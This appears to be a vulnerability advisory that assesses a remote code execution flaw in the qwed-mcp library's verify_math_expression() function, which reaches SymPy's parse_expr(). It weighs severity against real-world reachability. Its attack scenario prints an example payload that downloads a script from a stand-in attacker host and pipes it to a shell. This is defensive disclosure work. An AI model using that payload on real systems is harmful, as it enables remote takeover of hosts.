QWED-MCP EUVD-2026-65547

Exploitation requires a downstream integration or caller that invokes the public verify_math_expression() library API (in src/qwed_mcp/engines/math_engine.py) with attacker-controlled 'expression' or 'claimed_result' strings - the default MCP tool registry does NOT register this function, so an out-of-the-box qwed-mcp server is not directly exploitable. When such a call path exists, no authentication, special configuration, or user interaction is needed (PR:N/UI:N per CVSS), and any string parsed by SymPy's parse_expr() can carry the payload because Python built-ins remain available. The primary limiting factor is reachability: exploitation is entirely gated on whether an integration forwards untrusted input into this function; affected versions are all releases prior to 0.2.1 (v0.2.0 confirmed).

The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H, 9.8) describes the worst case where the function is directly reachable with untrusted network input, and the impact is genuine full RCE. However, the description and advisory both note a crucial limiter: the default MCP tool registry does NOT expose verify_math_expression(), so exploitation requires a downstream integration that deliberately calls the library API with attacker-controlled data. That materially raises attack complexity in practice and argues against treating the raw 9.8 as universally applicable - reachability is deployment-dependent. No EPSS score was provided, and the vulnerability is not in CISA KEV, so there is no evidence of active in-the-wild exploitation; the signal here is publicly available PoC code (in the GHSA advisory) plus vendor-confirmed container exploitation, not confirmed exploitation campaigns. Net: where a caller does pass untrusted input into this function, the outcome is unauthenticated RCE and should be patched urgently; where the function is unreachable, the effective risk is much lower. Because this is a library-level eval() sink, any operator whose integration forwards user data should treat it as high priority even though the deployment footprint is small.

A developer builds an MCP integration that exposes qwed-mcp's math-verification capability to end users and passes a user-submitted 'expression' straight to verify_math_expression(). An attacker submits __import__('os').system('curl attacker/x|sh') as the expression, and SymPy's parse_expr() evaluates it, executing the attacker's OS command as the qwed-mcp process user. A working PoC is published in the GHSA advisory, which confirmed root-level command execution inside a Docker container.